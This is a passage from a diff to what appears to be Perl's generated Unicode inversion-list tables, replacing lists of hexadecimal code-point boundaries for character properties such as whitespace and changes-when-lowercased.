+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x587,
+	0x588,
 	0x61C,
-	0x61E,
-	0x620,
-	0x66A,
-	0x66E,
-	0x6D4,
-	0x6D5,
-	0x700,
-	0x70E,
-	0x7F7,
-	0x7FA,
-	0x830,
-	0x83F,
-	0x85E,
-	0x85F,
-	0x964,
-	0x966,
-	0x970,
-	0x971,
-	0xAF0,
-	0xAF1,
-	0xDF4,
-	0xDF5,
-	0xE4F,
-	0xE50,
-	0xE5A,
-	0xE5C,
-	0xF04,
-	0xF13,
-	0xF14,
-	0xF15,
-	0xF3A,
-	0xF3E,
-	0xF85,
-	0xF86,
-	0xFD0,
-	0xFD5,
-	0xFD9,
-	0xFDB,
-	0x104A,
-	0x1050,
-	0x10FB,
+	0x61D,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
 	0x10FC,
-	0x1360,
-	0x1369,
-	0x1400,
-	0x1401,
-	0x166D,
-	0x166F,
-	0x169B,
-	0x169D,
-	0x16EB,
-	0x16EE,
-	0x1735,
-	0x1737,
-	0x17D4,
-	0x17D7,
-	0x17D8,
-	0x17DB,
-	0x1800,
+	0x10FD,
+	0x115F,
+	0x1161,
+	0x13F8,
+	0x13FE,
+	0x17B4,
+	0x17B6,
 	0x180B,
-	0x1944,
-	0x1946,
-	0x1A1E,
-	0x1A20,
-	0x1AA0,
-	0x1AA7,
-	0x1AA8,
-	0x1AAE,
-	0x1B5A,
-	0x1B61,
-	0x1BFC,
-	0x1C00,
-	0x1C3B,
-	0x1C40,
-	0x1C7E,
+	0x180F,
 	0x1C80,
-	0x1CC0,
-	0x1CC8,
-	0x1CD3,
-	0x1CD4,
+	0x1C89,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9A,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB7,
+	0x1FC5,
+	0x1FC7,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FD8,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FE8,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF7,
+	0x1FFF,
+	0x2000,
 	0x2010,
-	0x2028,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202A,
 	0x2030,
-	0x2044,
-	0x2045,
-	0x2052,
-	0x2053,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
 	0x205F,
-	0x207D,
-	0x207F,
-	0x208D,
+	0x2072,
+	0x2074,
 	0x208F,
-	0x2308,
-	0x230C,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2183,
+	0x2184,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
 	0x2329,
 	0x232B,
-	0x2768,
-	0x2776,
-	0x27C5,
-	0x27C7,
-	0x27E6,
-	0x27F0,
-	0x2983,
-	0x2999,
-	0x29D8,
-	0x29DC,
-	0x29FC,
-	0x29FE,
-	0x2CF9,
-	0x2CFD,
-	0x2CFE,
-	0x2D00,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7C,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0x2D6F,
 	0x2D70,
-	0x2D71,
-	0x2E00,
-	0x2E2F,
-	0x2E30,
-	0x2E45,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
 	0x3001,
-	0x3004,
-	0x3008,
-	0x3012,
-	0x3014,
-	0x3020,
-	0x3030,
-	0x3031,
-	0x303D,
-	0x303E,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
 	0x30A0,
-	0x30A1,
-	0x30FB,
-	0x30FC,
-	0xA4FE,
-	0xA500,
-	0xA60D,
-	0xA610,
-	0xA673,
-	0xA674,
-	0xA67E,
-	0xA67F,
-	0xA6F2,
-	0xA6F8,
-	0xA874,
-	0xA878,
-	0xA8CE,
-	0xA8D0,
-	0xA8F8,
-	0xA8FB,
-	0xA8FC,
-	0xA8FD,
-	0xA92E,
-	0xA930,
-	0xA95F,
-	0xA960,
-	0xA9C1,
-	0xA9CE,
-	0xA9DE,
-	0xA9E0,
-	0xAA5C,
-	0xAA60,
-	0xAADE,
-	0xAAE0,
-	0xAAF0,
-	0xAAF2,
-	0xABEB,
-	0xABEC,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA69E,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA771,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAB70,
+	0xABC0,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
 	0xFD3E,
-	0xFD40,
-	0xFE10,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE00,
 	0xFE1A,
 	0xFE30,
+	0xFE45,
+	0xFE47,
 	0xFE53,
 	0xFE54,
-	0xFE62,
-	0xFE63,
-	0xFE64,
+	0xFE67,
 	0xFE68,
-	0xFE69,
-	0xFE6A,
 	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
 	0xFF01,
-	0xFF04,
-	0xFF05,
-	0xFF0B,
-	0xFF0C,
-	0xFF10,
-	0xFF1A,
-	0xFF1C,
-	0xFF1F,
-	0xFF21,
-	0xFF3B,
-	0xFF3E,
-	0xFF3F,
-	0xFF40,
-	0xFF5B,
-	0xFF5C,
-	0xFF5D,
-	0xFF5E,
-	0xFF5F,
-	0xFF66,
-	0x10100,
-	0x10103,
-	0x1039F,
-	0x103A0,
-	0x103D0,
-	0x103D1,
-	0x1056F,
-	0x10570,
-	0x10857,
-	0x10858,
-	0x1091F,
-	0x10920,
-	0x1093F,
-	0x10940,
-	0x10A50,
-	0x10A59,
-	0x10A7F,
-	0x10A80,
-	0x10AF0,
-	0x10AF7,
-	0x10B39,
-	0x10B40,
-	0x10B99,
-	0x10B9D,
-	0x11047,
-	0x1104E,
-	0x110BB,
-	0x110BD,
-	0x110BE,
-	0x110C2,
-	0x11140,
-	0x11144,
-	0x11174,
-	0x11176,
-	0x111C5,
-	0x111CA,
-	0x111CD,
-	0x111CE,
-	0x111DB,
-	0x111DC,
-	0x111DD,
-	0x111E0,
-	0x11238,
-	0x1123E,
-	0x112A9,
-	0x112AA,
-	0x1144B,
-	0x11450,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
-	0x114C6,
-	0x114C7,
-	0x115C1,
-	0x115D8,
-	0x11641,
-	0x11644,
-	0x11660,
-	0x1166D,
-	0x1173C,
-	0x1173F,
-	0x11C41,
-	0x11C46,
-	0x11C70,
-	0x11C72,
-	0x12470,
-	0x12475,
-	0x16A6E,
-	0x16A70,
-	0x16AF5,
-	0x16AF6,
-	0x16B37,
-	0x16B3C,
-	0x16B44,
-	0x16B45,
-	0x1BC9F,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF0,
+	0xFFF9,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
 	0x1BCA0,
-	0x1DA87,
-	0x1DA8C,
-	0x1E95E,
-	0x1E960
+	0x1BCA4,
+	0x1D15E,
+	0x1D165,
+	0x1D173,
+	0x1D17B,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1E900,
+	0x1E922,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E,
+	0xE0000,
+	0xE1000
 };
 
-static const UV XPosixSpace_invlist[] = { /* for EBCDIC 1047 */
-	23,	/* Number of elements */
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWL_invlist[] = { /* for ASCII/Latin1 */
+	1181,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
-	0x42,
-	0x1680,
-	0x1681,
-	0x2000,
-	0x200B,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
+	0x41,
+	0x5B,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xDF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
